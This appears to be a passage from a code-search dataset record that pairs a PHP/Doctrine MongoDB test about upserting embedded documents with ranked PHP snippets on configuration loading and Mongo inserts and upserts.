if (is_array($override)) {\n $override = new Config($override);\n }\n\n if ($override instanceof Config) {\n $config->merge($override);\n }\n }\n\n return $config;\n });\n }", "private function getConfig()\n {\n if (null === $this->config) {\n $this->config = $this->getObjectManager()->get(FixtureConfig::class);\n }\n return $this->config;\n }", "function config(array $config);", "public function testLoadAdditional()\n {\n $addl = array('test' => 'foo');\n $config = new \\Stormpath\\Config($addl);\n\n $this->assertEquals($config->get('test'), 'foo');\n }", "abstract public function __construct( $config );", "public function setupConfig()\n {\n registry::getInstance()->set('config', $this->parseConfig());\n }", "public function GetConfigClass ();", "public function testConstruct()\n {\n $configuration = new Configuration();\n $this->assertInstanceOf(\n 'Pagantis\\OrdersApiClient\\Model\\Order\\Configuration\\Channel',\n $configuration->getChannel()\n );\n $this->assertInstanceOf(\n 'Pagantis\\OrdersApiClient\\Model\\Order\\Configuration\\Urls',\n $configuration->getUrls()\n );\n }", "public function constructDataProvider()\n {\n return [\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'orm.config' => [\n 'type' => 'mfw',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n 'error_handler.config' => [\n 'type' => 'email',\n 'to' => '[email protected]',\n ],\n ],\n null,\n null,\n ],\n [\n [\n 'orm.config' => [\n 'type' => 'mfw',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n ],\n '\\\\RuntimeException',\n 'Mandatory application config parameter missing: app_base_path',\n ],\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'routing' => new \\stdClass(),\n 'orm.config' => [\n 'type' => 'mfw',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n ],\n '\\\\RuntimeException',\n 'The \"routing\" service must implement the RouterInterface',\n ],\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'templating' => new \\stdClass(),\n 'orm.config' => [\n 'type' => 'mfw',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n ],\n '\\\\RuntimeException',\n 'The \"templating\" service must implement the TemplatingInterface',\n ],\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'security.checker' => new \\stdClass(),\n 'orm.config' => [\n 'type' => 'mfw',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n ],\n '\\\\RuntimeException',\n 'The \"security.checker\" service must implement the SecurityCheckerInterface',\n ],\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'orm.config' => [\n 'type' => 'mfw',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n ],\n '\\\\RuntimeException',\n 'The \"security.config\" application parameter is missing.',\n ],\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'orm.config' => [\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n ],\n '\\\\RuntimeException',\n 'The \"orm.config.type\" must be set.',\n ],\n [\n [\n 'app_base_path' => __DIR__ . '/test_app',\n 'orm.config' => [\n 'type' => 'something-unknown',\n 'host' => 'db',\n 'database' => 'mfw',\n 'username' => 'mfw',\n 'password' => 'mfw',\n 'mapping' => [\n 'test' => 'Smatyas\\\\Mfw\\\\Tests\\\\Orm\\\\TestEntity',\n ],\n ],\n 'security.config' => [],\n ],\n '\\\\RuntimeException',\n 'Unknown orm type: something-unknown',\n ],\n ];\n }", "public function populateLocalConfiguration() {}" ]
[ "0.68240935", "0.65426046", "0.63653755", "0.63090146", "0.6242645", "0.62405276", "0.619346", "0.6186003", "0.6161905", "0.6153487", "0.6120263", "0.6114904", "0.61059374", "0.6090943", "0.6066895", "0.60609215", "0.6041854", "0.60258365", "0.601604", "0.6014477", "0.6010896", "0.6007684", "0.6006227", "0.59891593", "0.5988358", "0.59816897", "0.5968577", "0.59527546", "0.5918317", "0.59171987", "0.59117585", "0.5902935", "0.5900216", "0.58959067", "0.58829594", "0.5876534", "0.5868805", "0.58604777", "0.58578795", "0.5848761", "0.5840553", "0.5831958", "0.5830443", "0.5826128", "0.5826128", "0.58159167", "0.5812074", "0.58027506", "0.58027506", "0.57943445", "0.5775672", "0.5775317", "0.57411337", "0.57315606", "0.57235587", "0.5717146", "0.57139546", "0.5712144", "0.57043463", "0.570335", "0.56932855", "0.5692782", "0.5690425", "0.56902635", "0.56851935", "0.56821734", "0.5670206", "0.5667329", "0.565699", "0.56559736", "0.5654681", "0.5654681", "0.5654681", "0.5654681", "0.5654681", "0.5654681", "0.5654681", "0.5654681", "0.5650692", "0.56499505", "0.56488156", "0.5645013", "0.5624185", "0.5623186", "0.56194186", "0.5614734", "0.5611906", "0.56041163", "0.5603002", "0.5602257", "0.5596054", "0.5587213", "0.5583154", "0.55807716", "0.55747086", "0.5571719", "0.5571251", "0.5569267", "0.55611414", "0.5560915", "0.5560902" ]
0.0
-1
Tests for "MongoCursorException: Cannot apply $push/$pushAll modifier to nonarray" error. Embedded document with provided id should not be upserted.
public function testUpsertEmbedManyDoesNotCreateObject(): void { $test = new UpsertTestUser(); $embedded = new UpsertTestUserEmbedded(); $embedded->test = 'test'; $test->embedMany[] = $embedded; $this->dm->persist($test); self::assertFalse($this->uow->isScheduledForInsert($test)); self::assertTrue($this->uow->isScheduledForUpsert($test)); self::assertTrue($this->uow->isScheduledForInsert($embedded)); self::assertFalse($this->uow->isScheduledForUpsert($embedded)); $this->dm->flush(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function upsertById($id)\n\t{\n\t\tif ($id > 0)\n\t\t{\n\t\t\t$this->id = $id;\n\t\t\treturn $this->update();\n\t\t}\n\t\telse\n\t\t\treturn $this->insert();\n\t}", "private function insertUnMatched()\n {\n $newElements = $this->unMatchedCollection->map(function ($item) {\n\n //Unset primary key property because it can create Integrity constraint violation: Duplicate ID\n if(!in_array($this->primaryKey,$this->associativeColumns) && !in_array($this->primaryKey,$this->associativePivots))\n unset($item->id);\n\n if(!empty($this->associativeColumns))\n {\n $newItem = new \\stdClass();\n foreach ($this->associativeColumns as $baseColumn => $mergeColumn)\n {\n $newItem->$baseColumn = $item->$mergeColumn;\n }\n foreach ($this->associativePivots as $baseColumn => $mergeColumn)\n {\n $newItem->$baseColumn = $item->$mergeColumn;\n }\n\n $item = $newItem;\n }\n\n\n return get_object_vars($item);\n\n })->toArray();\n\n if (!empty($newElements))\n $this->rowInserted = DB::table($this->baseTable)->insert($newElements);\n }", "public function addOrUpdateCollection($id = null);", "public function testPush()\n {\n $this->collection->push(4);\n\n $this->assertCount(4, $this->collection);\n $this->assertTrue($this->collection->contains(4));\n $this->assertEquals(4, $this->collection->get(3));\n }", "public function upsert($id)\n {\n\n $userDocument = UserDocument::find($id);\n if (!$userDocument) {\n $userDocument = new UserDocument();\n }\n\n $userDocument->user_id = \\Auth::user()->id;\n $userDocument->doc_id = \\Request::get('doc_id');\n\n $changes = [\n 'paragraph' => [],\n 'variables' => []\n ];\n\n foreach (\\Request::get('data') as $mode => $t) {\n foreach ($t as $type => $items) {\n foreach ($items as $k => $item) {\n if (!empty($item)) {\n $changes[$mode][$type][$k] = trim($item);\n }\n }\n }\n }\n $userDocument->setChanges($changes);\n $userDocument->save();\n \n return response()->json(['id' => $userDocument->id]);\n }", "public function addOrReplaceOne($id,$document) {}", "public function upsert($id, $data)\n {\n $r = self::find($id);\n if($r){\n $result = self::find($id)->fill($data);\n $result->update();\n }else{\n $result = self::create($data);\n }\n return $result;\n }", "function mongo_lite_insert($collection, array $data)\n\t{\n\t\t$collection = mongo_lite($collection);\n\n\t\treturn $collection->insert($data);\n\t}", "public function testInsertMulti()\n {\n $data = static::articleData();\n\n $result = Hash::insert($data, '{n}.Article.insert', 'value');\n $this->assertEquals('value', $result[0]['Article']['insert']);\n $this->assertEquals('value', $result[1]['Article']['insert']);\n\n $result = Hash::insert($data, '{n}.Comment.{n}.insert', 'value');\n $this->assertEquals('value', $result[0]['Comment'][0]['insert']);\n $this->assertEquals('value', $result[0]['Comment'][1]['insert']);\n\n $data = [\n 0 => ['Item' => ['id' => 1, 'title' => 'first']],\n 1 => ['Item' => ['id' => 2, 'title' => 'second']],\n 2 => ['Item' => ['id' => 3, 'title' => 'third']],\n 3 => ['Item' => ['id' => 4, 'title' => 'fourth']],\n 4 => ['Item' => ['id' => 5, 'title' => 'fifth']],\n ];\n $result = Hash::insert($data, '{n}.Item[id=/\\b2|\\b4/]', ['test' => 2]);\n $expected = [\n 0 => ['Item' => ['id' => 1, 'title' => 'first']],\n 1 => ['Item' => ['id' => 2, 'title' => 'second', 'test' => 2]],\n 2 => ['Item' => ['id' => 3, 'title' => 'third']],\n 3 => ['Item' => ['id' => 4, 'title' => 'fourth', 'test' => 2]],\n 4 => ['Item' => ['id' => 5, 'title' => 'fifth']],\n ];\n $this->assertEquals($expected, $result);\n\n $data[3]['testable'] = true;\n $result = Hash::insert($data, '{n}[testable].Item[id=/\\b2|\\b4/].test', 2);\n $expected = [\n 0 => ['Item' => ['id' => 1, 'title' => 'first']],\n 1 => ['Item' => ['id' => 2, 'title' => 'second']],\n 2 => ['Item' => ['id' => 3, 'title' => 'third']],\n 3 => ['Item' => ['id' => 4, 'title' => 'fourth', 'test' => 2], 'testable' => true],\n 4 => ['Item' => ['id' => 5, 'title' => 'fifth']],\n ];\n $this->assertEquals($expected, $result);\n }", "function insert($documents){\n if(!$this->db_coll_set()){\n return [\"error\"=>\"db or collection not set.\"];\n }\n $_ids = [];\n $bulk = new MongoDB\\Driver\\BulkWrite;\n if(!is_array($documents)){\n return array(\"error\"=>\"document not an array.\");\n }\n\n foreach($documents as $doc){\n if(!is_array($doc) && !$this->isAssoc($doc)){\n return array(\"error\"=>\"document not associative array.\");\n }\n $_ids[] = $bulk->insert($doc);\n }\n \n $result = $this->manager->executeBulkWrite($this->dbdotcoll, $bulk, $this->writeConcern);\n \n return $_ids;\n \n }", "public function push(string $id, array $data) \n\t{\n\t\t$this->arrays[$id] = new \\ArrayIterator($data);\n\t}", "public function upsert($localId = 'ExtId__c', array $sObjects = null) {\n\n $this->error = false;\n try {\n $this->connect();\n $response = $this->client->upsert($localId, $sObjects);\n } catch (Exception $e) {\n print_r($this->client->getLastRequest());\n echo $e->faultstring;\n }\n return($response->success);\n }", "public function testUpsert()\n {\n $obj_request = new \\google\\appengine\\datastore\\v4\\CommitRequest();\n $obj_request->setMode(\\google\\appengine\\datastore\\v4\\CommitRequest\\Mode::NON_TRANSACTIONAL);\n\n $obj_entity = $obj_request->mutableDeprecatedMutation()->addInsertAutoId();\n $obj_key = $obj_entity->mutableKey();\n $obj_key->mutablePartitionId()->setDatasetId('Dataset')->setNamespace('Test');\n $obj_key->addPathElement()->setKind('Book');\n\n $obj_entity->addProperty()->setName('title')->mutableValue()->setIndexed(TRUE)->setStringValue('Patterns of Enterprise Application Architecture');\n\n $this->apiProxyMock->expectCall('datastore_v4', 'Commit', $obj_request, new \\google\\appengine\\datastore\\v4\\CommitResponse());\n\n $obj_store = $this->getBookstoreWithTestNamespace();\n $obj_store->upsert($obj_store->createEntity([\n 'title' => 'Patterns of Enterprise Application Architecture'\n ]));\n\n $this->apiProxyMock->verify();\n }", "public function testInsertWithOneElementArrayParameter()\n {\n $this->db->insert(\"test\", [\n 'id' => 1\n ]);\n $this->assertEquals(\"INSERT INTO test (`id`) VALUES ('1')\", (string) $this->db);\n }", "private function insertRows(PersistentCollection $coll, array $options)\n {\n $mapping = $coll->getMapping();\n list($propertyPath, $parent) = $this->getPathAndParent($coll);\n if ($mapping['strategy'] === 'set') {\n $setData = array();\n $insertDiff = $coll->getInsertDiff();\n if ($insertDiff) {\n foreach ($insertDiff as $key => $document) {\n if (isset($mapping['reference'])) {\n $documentUpdates = $this->pb->prepareReferencedDocumentValue($mapping, $document);\n } else {\n $documentUpdates = $this->pb->prepareEmbeddedDocumentValue($mapping, $document);\n }\n\n if (is_int($key)) {\n $setData[$propertyPath][] = $documentUpdates;\n } else {\n foreach ($documentUpdates as $currFieldName => $currFieldValue) {\n $setData[$propertyPath. '.' .$key . '.' . $currFieldName] = $currFieldValue;\n }\n }\n }\n\n $query = array($this->cmd.'set' => $setData);\n $this->executeQuery($parent, $query, $options);\n }\n } else {\n $strategy = isset($mapping['strategy']) ? $mapping['strategy'] : 'pushAll';\n $insertDiff = $coll->getInsertDiff();\n if ($insertDiff) {\n $query = array($this->cmd.$strategy => array());\n foreach ($insertDiff as $document) {\n if (isset($mapping['reference'])) {\n $query[$this->cmd.$strategy][$propertyPath][] = $this->pb->prepareReferencedDocumentValue($mapping, $document);\n } else {\n $query[$this->cmd.$strategy][$propertyPath][] = $this->pb->prepareEmbeddedDocumentValue($mapping, $document);\n }\n }\n $this->executeQuery($parent, $query, $options);\n }\n }\n }", "function insert($data){\n\t if($data and (is_array($data) or is_object($data))){\n\t $data = (object) $data;\n\t }else return false; \n\t $data->id = uniqid('');\n\t return parent::insert($data);\t \n\t}", "private function insert_or_update($response){\n $not_updated=[]; foreach ( $response as $item){ \n if(isset($item[\"@attributes\"])) {\n $item['id']=$item[\"@attributes\"]['id'];\n unset($item[\"@attributes\"]);}// xml fix\n $item['_id']=$item['id'];unset($item['id']); // замена id\n // если нет обновления, то в insert\n if(!Cars::where('_id',$item['_id'])->update($item)) $not_updated[]=$item;\n } if($not_updated&&count($not_updated)) Cars::insert($not_updated);\n }", "public function upsert($collection, $criteria, $newobj,$multiple=false,$safe=true) {\n return $this->update($collection, $criteria, $newobj, true,$multiple,$safe);\n }", "function testInsertIntMongo32()\n\t{\n\t\t$c = $this->object;\n\t\t$c->insert(array('int32' => new MongoInt32(1234567890)));\n\t\t$x = $c->findOne();\n\t\t$this->assertSame(1234567890, $x['int32']);\n\t}", "protected function _upsert($data) {\n\t\tif (!pudl_array($data) || empty($data)) return false;\n\n\t\treturn\t' ON CONFLICT (' .\n\t\t\t\t$this->identifier(key($data)) .\n\t\t\t\t') DO UPDATE SET ' .\n\t\t\t\t$this->_update($data);\n\t}", "public function testSaveChildOfDocumentSet()\n\t{\n\t\t$address = $this->_bob->addresses->new();\n\t\t$address->street = '35 Sheep Lane';\n\t\t$address->suburb = 'Sheep Heaven';\n\t\t$address->state = 'New Zealand';\n\t\t$address->postcode = '2345';\n\t\t$address->country = 'New Zealand';\n\t\t$address->save();\n\n\t\t$bobRaw = $this->_users['bob'];\n\t\t$addressRaw = array(\n\t\t\t'street' => '35 Sheep Lane',\n\t\t\t'suburb' => 'Sheep Heaven',\n\t\t\t'state' => 'New Zealand',\n\t\t\t'postcode' => '2345',\n\t\t\t'country' => 'New Zealand',\n\t\t);\n\t\t$bobRaw['addresses'][] = $addressRaw;\n\t\t\n\t\t$this->assertEquals($bobRaw, $this->_userCollection->findOne(array('_id' => new MongoId('4c04516a1f5f5e21361e3ab0'))));\n\t}", "public function insert(array &$a, array $options = [])\n {\n $return = $this->mock->insert($a, $options);\n if (!isset($a['_id']) || $a['_id'] === null) {\n $a['_id'] = new \\MongoId();\n }\n return $return;\n }", "abstract public function persist($collection, array $document);", "static function upsert($collection, $criteria, $newobj) {\r\n\t\treturn self::update($collection, $criteria, $newobj, true);\r\n\t}", "public function testSpliceWithScalarReplacement()\n {\n $slice = $this->collection->splice(1, 1, 7);\n\n $this->assertInstanceOf(Collection::class, $slice);\n $this->assertAttributeEquals([2], 'elements', $slice);\n $this->assertAttributeEquals([1, 7, 3], 'elements', $this->collection);\n }", "private function upsert_data() {\n foreach ($this->data as $course => $rows) {\n if (db::upsert($this->semester, $course, $rows) === false) {\n $this->log_it(db::$error);\n }\n }\n\n // Done.\n return true;\n }", "public function testInsertWithTwoElementArrayParameter()\n {\n $this->db->insert(\"test\", [\n 'id' => 1,\n 'name' => 'Ed'\n ], true);\n $this->assertEquals(\"INSERT IGNORE INTO test (`id`,`name`) VALUES ('1','Ed')\", (string) $this->db);\n }", "public function addToInsertSQLArray();", "function updateTweetSend($idSend){\n \n //$this->printVar($idSend);\n //die();\n $mongo = new MongoDB\\Driver\\Manager();\n $bulk = new MongoDB\\Driver\\BulkWrite;\n $bulk->update(\n [\"idText\" => (string)$idSend,'enviado'=>'N'],\n ['$set' => ['enviado' => 'S','fechaEnvio'=>new \\MongoDB\\BSON\\UTCDateTime()]],\n ['multi' => true, 'upsert' => true]\n );\n $result = $mongo->executeBulkWrite('callaut.tweet', $bulk);\n //$this->printVar($result->getUpsertedIds());\n\n if (empty($result->getUpsertedIds())) {\n return true;\n \n } else {\n return false;\n \n }\n \n }", "public function batch_insert($collection, $array,$safe = false) {\n $col = $this->db->selectCollection($collection);\n return $col->batchInsert($array, array('safe' => $safe));\n }", "private function saveChanges(StoreableEventsCollectionInterface $events, $id)\n {\n try{\n $collection = $this->_db->selectCollection('events');\n\n // Add new events\n foreach ($events as $storableEvent) {\n /** @var \\Oxy\\EventStore\\Event\\StoreableEventInterface $storableEvent */\n $eventInstance = $storableEvent->getEvent();\n if(!$eventInstance instanceof ArrayableInterface){\n throw new Exception(\n sprintf('Event must implement Oxy\\EventStore\\Event\\ArrayableInterface interface')\n ); \n }\n $event = (object)$eventInstance->toArray();\n \n if((string)$storableEvent->getProviderId() === (string)$id){\n $data = array(\n 'd' => date('Y-m-d H:i:s'),\n 'ag' => (string)$id,\n 'e' => $event,\n 'ec' => (string)get_class($eventInstance)\n );\n } else {\n $data = array(\n 'd' => date('Y-m-d H:i:s'),\n 'ag' => (string)$id,\n 'eg' => (string)$storableEvent->getProviderId(),\n 'e' => $event,\n 'ec' => (string)get_class($eventInstance)\n );\n }\n $collection->insert($data, array(\"safe\" => true));\n }\n return true;\n } catch(\\MongoCursorException $ex){\n return false;\n } catch(\\MongoConnectionException $ex){\n return false;\n } catch(\\MongoGridFSException $ex){\n return false;\n } catch(\\MongoException $ex){\n return false;\n } catch (Exception $ex){\n return false;\n }\n }", "static function upsert($collection, $criteria, $newobj) {\n return self::update($collection, $criteria, $newobj, true);\n }", "public function add_or_update()\n {\n $this->on_duplicate_key('foo = foo + 1');\n $this->insert('table', array('foo' => 'bar'));\n }", "public function firstOrInsert(array $data){\n // Raw\n $raw = clone($this);\n\n // Result\n $result = $this->first();\n \n // Insert\n if($this->count==0){\n return $raw->insert($data);\n }\n\n // Return\n return $result;\n }", "static function batchInsert($collection, $array) {\n global $mongo;\n $col = $mongo->selectCollection(MONGODB_NAME, $collection);\n return $col->batchInsert($array);\n }", "function testInsertStringMongo32()\n\t{\n\t\t$c = $this->object;\n\t\t$c->insert(array('int32' => new MongoInt32('1234567890')));\n\t\t$x = $c->findOne();\n\t\t$this->assertSame(1234567890, $x['int32']);\n\t}", "function unsetMongoId($result = array(), $multiArray = true)\n{\n if (empty($result)) {\n return array();\n }\n if (true == $multiArray) {\n foreach ($result as $key => $row) {\n if (isset($row['_id'])) {\n unset($result[$key]['_id']);\n }\n }\n } else {\n if (isset($result['_id'])) {\n unset($result['_id']);\n }\n }\n return $result;\n}", "public function insert($collection, $array, $opts = array()) {\n\n\t\t/**\n\t\t * Run Query\n\t\t */\n\t\t$result = $this->connection->$collection->insert($array, $opts);\n\n\t\t/**\n\t\t * If the result is empty append the data\n\t\t */\n\t\tif(empty($result)) $result = array();\n\n\t\t/**\n\t\t * Append the modified array to the result data\n\t\t */\n\t\t$result['_data'] = $array;\n\t\treturn $result;\n\t}", "public function updateRecords(iterable $data, int $id)\n {\n if($data == false && $id == 0)\n {\n throw new Exception ('Could not find data to update. Please try again. ');\n }else\n {\n $this -> set($data) -> where('Id', $id) -> update();\n return true;\n }\n return false;\n }", "public function testQuarantineUpsert()\n {\n\n }", "public function insert(array $data): string\n {\n // Set object ID as id of item\n $data['_id'] = $this->getID();\n\n // Set statement of bulk object\n $bulk = $this->getBulk();\n $bulk->insert($data);\n\n try {\n $this->getInstance()->executeBulkWrite(\n $this->getParam('database') . '.' . $this->getCollection(),\n $bulk,\n $this->getWrite()\n );\n\n } catch (BulkWriteException $e) {\n new Exception('Unable to write in database');\n }\n\n return (string) $data['_id'];\n }", "static function batchInsert($collection, $array) {\r\n\t\t$col = self::getCollection($collection);\r\n\t\treturn $col->batchInsert($array);\r\n\t}", "function insert($model, &$data){\n /* and store iterator */\n if ($model->sub){\n $iterator = null;\n if ($xml = $model->_get(\"xml\")){\n /* one to many */\n $iterator = $xml->addChild($model->enclosure);\n if (!isset($data[$model->id_field])){\n $max = 0;\n foreach ($xml->{$model->enclosure} as $e){\n $max = max($max, (int)(string)$e->{$model->id_field});\n }\n $data[$model->id_field] = $new_id = $max+1;\n $model->{$model->id_field} = $new_id;\n }\n } else {\n $iterator = $model->_get(\"iterator\");\n }\n if ($iterator === null){\n throw $this->exception(\"Cannot insert new record - iterator not available\");\n }\n foreach ($data as $k => $v){\n if ($model->elements[$k]->setterGetter(\"xpath\")){\n throw $this->exception(\"Inserting sub-model field by xpath not supported yet\");\n }\n $iterator->{$k} = $v;\n }\n $model->_get(\"parent\")->save();\n } else {\n /* store to cluster point */\n $iterator = new \\StdClass();\n foreach ($data as $k => $v){\n if ($xpath=$model->elements[$k]->setterGetter(\"xpath\")){\n $xpath = explode(\"/\", $xpath);\n $i2 = $iterator;\n while ($r = array_shift($xpath)){\n if (count($xpath)){\n if (!isset($i2->{$r})){\n $i2->{$r} = new \\StdClass();\n }\n $i2 = $i2->{$r};\n } else {\n $i2->{$r} = $v;\n }\n }\n } else{\n $iterator->{$k} = $v;\n }\n }\n $id_field = $model->id_field;\n $id = null; // leave for auto increment\n if (isset($iterator->{$id_field})){\n $id = $iterator->{$id_field};\n }\n $this->simple->insertSingle($id, $iterator);\n if (!$id){\n $ids=$this->simple->response->getModifiedIds();\n $model->id = (string)$ids[0];\n } else {\n $model->id = $id;\n }\n }\n return $iterator;\n }", "public function update(array $data, $id): bool;", "public function insert() {\n\t\t$insert_array = $this->toDbArray(true, true);\n\t\tif (array_key_exists('_id', $insert_array)) { unset($insert_array['_id']); }\n\t\t$ret_val = $this->getCollection()->save($insert_array);\n\t\tif (isset($insert_array['_id'])) {\n\t\t\t$this->setId($insert_array['_id']);\n\t\t}\n\t\treturn $this->getId();\n\t}", "public static function insert($data)\n {\n $id = uniqid(time());\n while(count(self::getInstance()->find(['_id'=>$id])->toArray())!==0){\n $id = uniqid(time());\n }\n return self::getInstance()->insertOne($data+['_id'=>$id]);\n }", "public function upsert( $ext_id_field, array $objects )\n\t {\n\t\t if ( empty( $ext_id_field ) || !is_array( $objects ) )\n\t\t \treturn false;\n\t\t \n\t\t try {\n\t\t\t $response = $this->_sf_connection->upsert($ext_id_field, $objects);\n\t\t\t if ( $this->_debug ) $this->_response($response);\n\t\t\t if ( $response ) {\n\t\t\t \tif ( $response[0]->success )\n\t\t\t \t\treturn $response;\n\t\t\t \telse\n\t\t\t\t\tthrow new Exception($response[0]->errors[0]->message);\n\t\t\t} else {\n\t\t\t\tthrow new Exception(ERROR_NO_RESPONSE);\n\t\t\t}\n\t\t } catch( Exception $e ) {\n\t\t\t $this->_error( $e );\n\t\t\t return false;\n\t\t }\n\t }", "public function upsertEntityFromArray(array $am_formData){\n\n $I_dog = NULL;\n if (isset($am_formData['id']) && \n is_numeric($am_formData['id']) && \n $am_formData['id'] > 0){\n $I_dog = $this->getEntity($am_formData['id']);\n }\n\n if (!($I_dog instanceof Dog)) {\n $I_dog = new Dog();\n }\n\n $I_dog->fillWith($am_formData);\n \n $this->I_entityManager->persist($I_dog);\n $this->I_entityManager->flush();\n \n return $I_dog;\n }", "public function insert(array $data);", "public function insert(array $data);", "public function push($opt){\n\n\t\tif(!isset($opt['_id']) OR (!isset($opt['raw']) && !isset($opt['start']))) return false;\n\n\t\t/////////////\n\n\t\tif(isset($opt['raw'])){\n\t\t\t$set = $opt['raw'];\n\t\t}else{\n\t\t\t$days = $opt['days'] ? intval($opt['days']) : 1;\n\t\t\t$set = array(\n\t\t\t\t'start' => new MongoDate($opt['start']),\n\t\t\t\t'end' => $this->day($opt['start'], $days),\n\t\t\t\t'days' => $days\n\t\t\t);\n\n\t\t\tif(!empty($opt['comment'])) $set['comment'] = $opt['comment'];\n\t\t}\n\n\t\t/////////////\n\n\t\t$me = $this->get(array('_id' => $opt['_id']));\n\t\t$do = true;\n\n\t\tif(count($me['date']) > 0){\n\t\t\tforeach($me['date'] as $d){\n\t\t\t\tif($set['start'] == $d['start']) $do = false;\n\t\t\t}\n\t\t}\n\n\t\tif(!$do){\n\t\t\tif($opt['debug']) $this->pre(\"EXISTS\");\n\t\t\treturn false;\n\t\t}\n\n\t\t/////////////\n\n\t\t$mon = $this->mongoAuth();\n\t\t$db = $mon->selectDB($this->db);\n\t\t$col = $mon->selectCollection($db, 'manifestation');\n\n\t\t$cond = array('_id' => new MongoId($opt['_id']));\n\t\t$data = array('$push' => array('date' => $set));\n\t\t$job = $col->update($cond, $data);\n\n\t\tif($opt['debug']){\n\t\t\t$this->pre(\"COND\", $cond, \"SET\", $data, \"OPTION\", $option, \"JOB\", var_export($job, true));\n\t\t}\n\n\t\treturn true;\n\t}", "public function insert(array $data) {\n\t\treturn $this->update($data, array());\n\t}", "public function merge(Collection $source): void\n {\n $ids = $this->getIds();\n\n foreach ($source as $entity) {\n if (!in_array($entity->getId(), $ids)) {\n $this->addEntity($entity);\n }\n }\n }", "protected static function insert(array $data) {\n if (count($data) == 0) {\n throw new InvalidArgumentException('DbObject.insert $data cannot be empty.');\n }\n \n $isMultiple = isset($data[0]) && is_array($data[0]);\n if ($isMultiple) {\n $fields = [];\n foreach($data as $entry) {\n foreach($entry as $k => $v) {\n if (!in_array($k, $fields)) {\n $fields[] = $k;\n }\n }\n }\n } else {\n $fields = array_keys($data);\n }\n $countFields = count($fields);\n \n if (self::$tableFields !== false) {\n if ($countFields > count(self::$tableFields)) {\n throw new InvalidArgumentException('DbObject.insert $data contains more fields than are in table.');\n }\n }\n \n $sql = 'INSERT INTO '. MyON::escapeField(self::getOI()->getTableName()) .' (';\n for($i = 0; $i < $countFields; $i++) {\n if ($i !== 0)\n $sql .= ', ';\n $sql .= MyON::escapeField($fields[$i]);\n }\n $sql .= ') VALUES ';\n if ($isMultiple) {\n $countEntries = count($data);\n for($i = 0; $i < $countEntries; $i++) {\n if ($i !== 0)\n $sql .= ', ';\n $sql .= self::generateInsertEntry($fields, $data[$i]);\n }\n } else {\n $sql .= self::generateInsertEntry($fields, $data);\n }\n \n try {\n MyON::getPDO()->query($sql);\n $lastId = MyON::getPDO()->lastInsertId();\n \n // If multiple entries were inserted, return an arrya of the IDs for all the new rows\n if ($isMultiple) {\n return range($lastId, $lastId + count($data) - 1);\n }\n \n // If only one entry was inserted, return the ID of the new row\n else {\n return $lastId;\n }\n } catch (Exception $ex) {\n throw new RuntimeException('DbObject.insert PDO error '. $ex->getCode() .' occurred: '. $ex->getMessage(). ' in '. $ex->getFile() .':'. $ex->getLine(). '. '. $ex->getTrace());\n }\n }", "public function upsert($externalFieldName, array $objects, $objectType);", "public function testArrayNonScalar()\n {\n $cfg = new Config();\n $this->setExpectedException(InvalidArgumentException::class);\n $cfg->set('newkey', [new stdClass]);\n }", "public function insert(array &$doc)\n {\n $this->conn->initialize();\n\n if (isset($doc['_id'])) {\n $clone = $doc;\n unset($clone['_id']);\n\n $response = $this->conn->getClient()->request(\n \"/{$this->name}/{$doc['_id']}\",\n ClientInterface::METHOD_PUT,\n JSONEncoder::encode($clone),\n array('Content-Type' => 'application/json')\n );\n } else {\n $response = $this->conn->getClient()->request(\n \"/{$this->name}/\",\n ClientInterface::METHOD_POST,\n JSONEncoder::encode($doc),\n array('Content-Type' => 'application/json')\n );\n }\n\n if (201 !== $response->getStatusCode()) {\n throw new \\RuntimeException('Unable to save document');\n }\n\n $value = JSONEncoder::decode($response->getContent());\n $id = $value['id'];\n $rev = $value['rev'];\n\n $doc['_id'] = $id;\n $doc['_rev'] = $rev;\n }", "public function testSetValueOnUnNestedArray()\n {\n $model = $this->objFromFixture(MyAwesomeJSONModel::class, 'json-as-array');\n $expression = '$.[0]';\n $field = $model->dbObject('MyJSON');\n\n // Primary assertion (JSON as return type is the default)\n $this->assertEquals('[\"buick\"]', $field->query($expression));\n\n // Secondary assertion\n $field->setValue('ford', null, $expression);\n $model->setField('MyJSON', $field->getValue());\n $model->write();\n $this->assertEquals('[\"ford\"]', $field->query($expression));\n \n // With chaining\n $field\n ->setValue('chrysler', null, $expression)\n ->setReturnType('array');\n \n $model->setField('MyJSON', $field->getValue());\n $model->write();\n $this->assertEquals(['chrysler'], $field->query($expression));\n }", "public function sync(array $data): void\n {\n $query = [\n 'token' => $data['token']\n ];\n\n /**\n * 